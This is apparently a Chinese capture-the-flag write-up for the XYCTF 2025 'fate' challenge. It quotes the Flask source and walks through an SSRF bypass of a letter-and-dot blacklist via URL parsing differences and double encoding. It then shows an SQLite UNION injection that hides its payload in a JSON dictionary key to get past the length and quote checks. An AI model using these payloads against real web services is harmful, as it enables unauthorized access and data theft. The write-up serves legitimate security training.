利用解析差异SSRF + sqlite注入 + waf逻辑漏洞 -- xyctf 2025 fate WP

本文章附带TP(Thinking Process)!

python 复制代码
#!/usr/bin/env python3
# 导入所需的库
import flask  # Flask web框架
import sqlite3  # SQLite数据库操作
import requests  # HTTP请求库
import string  # 字符串处理
import json  # JSON处理

app = flask.Flask(__name__)  # 创建Flask应用实例
blacklist = string.ascii_letters  # 所有英文字母(大小写)作为黑名单


# 将二进制字符串转换为普通字符串
def binary_to_string(binary_string):
    if len(binary_string) % 8 != 0:
        raise ValueError("Binary string length must be a multiple of 8")
    # 将二进制字符串按每8位分割
    binary_chunks = [binary_string[i:i + 8] for i in range(0, len(binary_string), 8)]
    # 将每8位二进制转换为对应的字符
    string_output = ''.join(chr(int(chunk, 2)) for chunk in binary_chunks)

    return string_output


# 代理路由,用于转发请求
@app.route('/proxy', methods=['GET'])
def nolettersproxy():
    url = flask.request.args.get('url')  # 获取请求参数中的url
    if not url:
        return flask.abort(400, 'No URL provided')  # 如果没有提供url,返回400错误

    target_url = "http://lamentxu.top" + url  # 构造目标URL
    # 检查url中是否包含黑名单中的字母
    for i in blacklist:
        if i in url:
            return flask.abort(403, 'I blacklist the whole alphabet, hiahiahiahiahiahiahia~~~~~~')
    # 防止SSRF攻击,不允许包含点号
    if "." in url:
        return flask.abort(403, 'No ssrf allowed')
    # 发送请求到目标URL
    response = requests.get(target_url)

    return flask.Response(response.content, response.status_code)


# 数据库查询函数
def db_search(code):
    with sqlite3.connect('database.db') as conn:  # 连接SQLite数据库
        cur = conn.cursor()
        # 执行SQL查询,对输入进行多次UPPER转换(可能是为了防御某些攻击)
        cur.execute(f"SELECT FATE FROM FATETABLE WHERE NAME=UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER('{code}'))))))")
        found = cur.fetchone()  # 获取查询结果
    return None if found is None else found[0]  # 返回结果或None


# 首页路由
@app.route('/')
def index():
    print(flask.request.remote_addr)  # 打印访问者的IP地址
    return flask.render_template("index.html")  # 渲染并返回index.html模板


# 1337路由,提供API搜索功能
@app.route('/1337', methods=['GET'])
def api_search():
    # 只允许本地访问
    if flask.request.remote_addr == '127.0.0.1':
        code = flask.request.args.get('0')  # 获取参数0
        if code == 'abcdefghi':  # 检查参数0是否为特定值
            req = flask.request.args.get('1')  # 获取参数1
            try:
                # 将二进制字符串转换为普通字符串
                req = binary_to_string(req)
                print(req)
                # 解析JSON(注释中提到认为JSON比Pickle更安全)
                req = json.loads(req)
            except:
                flask.abort(400, "Invalid JSON")  # JSON解析失败返回400
            # 检查JSON中是否包含name字段
            if 'name' not in req:
                flask.abort(400, "Empty Person's name")

            name = req['name']
            # 检查name长度
            if len(name) > 6:
                flask.abort(400, "Too long")
            # 防止SQL注入,检查特殊字符
            if '\'' in name:
                flask.abort(400, "NO '")
            if ')' in name:
                flask.abort(400, "NO )")
            """
            Some waf hidden here ;)
            这里有隐藏的WAF(Web应用防火墙)规则
            """

            # 查询数据库
            fate = db_search(name)
            if fate is None:
                flask.abort(404, "No such Person")  # 未找到记录返回404

            return {'Fate': fate}  # 返回查询结果
        else:
            flask.abort(400, "Hello local, and hello hacker")  # 参数0不正确返回400
    else:
        flask.abort(403, "Only local access allowed")  # 非本地访问返回403


if __name__ == '__main__':
    app.run(debug=True)  # 启动Flask应用,开启调试模式

看起来,我们的第一步是尝试造成ssrf,访问查询api

python 复制代码
@app.route('/proxy', methods=['GET'])
def nolettersproxy():
    url = flask.request.args.get('url')  # 获取请求参数中的url
    if not url:
        return flask.abort(400, 'No URL provided')  # 如果没有提供url,返回400错误

    target_url = "http://lamentxu.top" + url  # 构造目标URL
    # 检查url中是否包含字母
    for i in blacklist:
        if i in url:
            return flask.abort(403, 'I blacklist the whole alphabet, hiahiahiahiahiahiahia~~~~~~')
    # 防止SSRF攻击,不允许包含点号
    if "." in url:
        return flask.abort(403, 'No ssrf allowed')
    # 发送请求到目标URL
    response = requests.get(target_url)

    return flask.Response(response.content, response.status_code)

题目没有禁止符号,翻看利用手册尝试利用解析差异访问

复制代码
 &@0:8080

/proxy?url=%20%26%400%3A8080

成功

复制代码
/proxy?url=%20%26%400%3A8080

继续传递参数,我们使用双重url编码

复制代码
 &@0:8080/1337?0=%61%62%63%64%65%66%67%68%69

/proxy?url=%20%26%400%3A8080%2F1337%3F0%3D%2561%2562%2563%2564%2565%2566%2567%2568%2569

按照代码逆向编写编码器

python 复制代码
def string_to_binary(input_str):
    """将普通字符串转换为8位二进制组成的字符串"""
    binary_str = []
    for char in input_str:
        # 获取字符的ASCII码并转换为二进制,补齐8位前导零
        binary_char = bin(ord(char))[2:].zfill(8)  # [2:]去除0b前缀
        binary_str.append(binary_char)
    return ''.join(binary_str)

a = "/proxy?url=%20%26%400%3A8080%2F1337%3F0%3D%2561%2562%2563%2564%2565%2566%2567%2568%2569%261%3D"
print(a + string_to_binary('{"name":"test"}'))
复制代码
/proxy?url=%20%26%400%3A8080%2F1337%3F0%3D%2561%2562%2563%2564%2565%2566%2567%2568%2569%261%3D011110110010001001101110011000010110110101100101001000100011101000100010011101000110010101110011011101000010001001111101

我们现在需要绕过if len(name) > 6:
我们可以试试使用数组,灵感来自于我刚打完的 Cyber Apocalypse CTF 2025

复制代码
len(['a'])

的输出是1,而且使用数组可以绕过剩下的waf

复制代码
if '\'' in name: 只有在 ['\'] 时候才成立

但是这会造成一个意外的冒号

json 复制代码
{"name":["\'))))))--"]}
复制代码
SELECT FATE FROM FATETABLE WHERE NAME=UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER('["'))))))--"]'))))))

或者我也可以尝试字典

json 复制代码
{"name":{"test":"test"}}
sql 复制代码
SELECT FATE FROM FATETABLE WHERE NAME=UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER('{'test': 'test'}'))))))

显然字典更合适,我应该使用union注入继续

python 复制代码
import sqlite3

conn = sqlite3.connect("database.db")
conn.execute("""CREATE TABLE FATETABLE (
  NAME TEXT NOT NULL,
  FATE TEXT NOT NULL
);""")
Fate = [
    ('JOHN', '1994-2030 Dead in a car accident'),
    ('JANE', '1990-2025 Lost in a fire'),
    ('SARAH', '1982-2017 Fired by a government official'),
    ('DANIEL', '1978-2013 Murdered by a police officer'),
    ('LUKE', '1974-2010 Assassinated by a military officer'),
    ('KAREN', '1970-2006 Fallen from a cliff'),
    ('BRIAN', '1966-2002 Drowned in a river'),
    ('ANNA', '1962-1998 Killed by a bomb'),
    ('JACOB', '1954-1990 Lost in a plane crash'),
    ('LAMENTXU', r'2024 Send you a flag flag{FAKE}')
]
conn.executemany("INSERT INTO FATETABLE VALUES (?, ?)", Fate)

conn.commit()
conn.close()
sql 复制代码
SELECT FATE FROM FATETABLE WHERE NAME=UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER('{'))))))) UNION SELECT FATE FROM FATETABLE--': ''}'))))))
json 复制代码
{"name":{"))))))) UNION SELECT FATE FROM FATETABLE--":""}}

只返回了一个结果,我们需要拼接结果

json 复制代码
{"name":{"))))))) UNION SELECT group_concat(FATE) FROM FATETABLE--":""}}

成功获得flag

相关推荐
大方子3 小时前
【PolarCTF】rce1
网络安全·polarctf
枷锁—sha5 小时前
Burp Suite 抓包全流程与 Xray 联动自动挖洞指南
网络·安全·网络安全
聚铭网络5 小时前
聚铭网络再度入选2026年度扬州市网络和数据安全服务资源池单位
网络安全
darkb1rd7 小时前
八、PHP SAPI与运行环境差异
开发语言·网络安全·php·webshell
世界尽头与你12 小时前
(修复方案)基础目录枚举漏洞
安全·网络安全·渗透测试
枷锁—sha1 天前
【SRC】SQL注入快速判定与应对策略(一)
网络·数据库·sql·安全·网络安全·系统安全
liann1191 天前
3.1_网络——基础
网络·安全·web安全·http·网络安全
ESBK20251 天前
第四届移动互联网、云计算与信息安全国际会议(MICCIS 2026)二轮征稿启动,诚邀全球学者共赴学术盛宴
大数据·网络·物联网·网络安全·云计算·密码学·信息与通信
旺仔Sec1 天前
一文带你看懂免费开源 WAF 天花板!雷池 (SafeLine) 部署与实战全解析
web安全·网络安全·开源·waf
七牛云行业应用1 天前
Moltbook一夜崩盘:150万密钥泄露背后的架构“死穴”与重构实战
网络安全·postgresql·架构·高并发·七牛云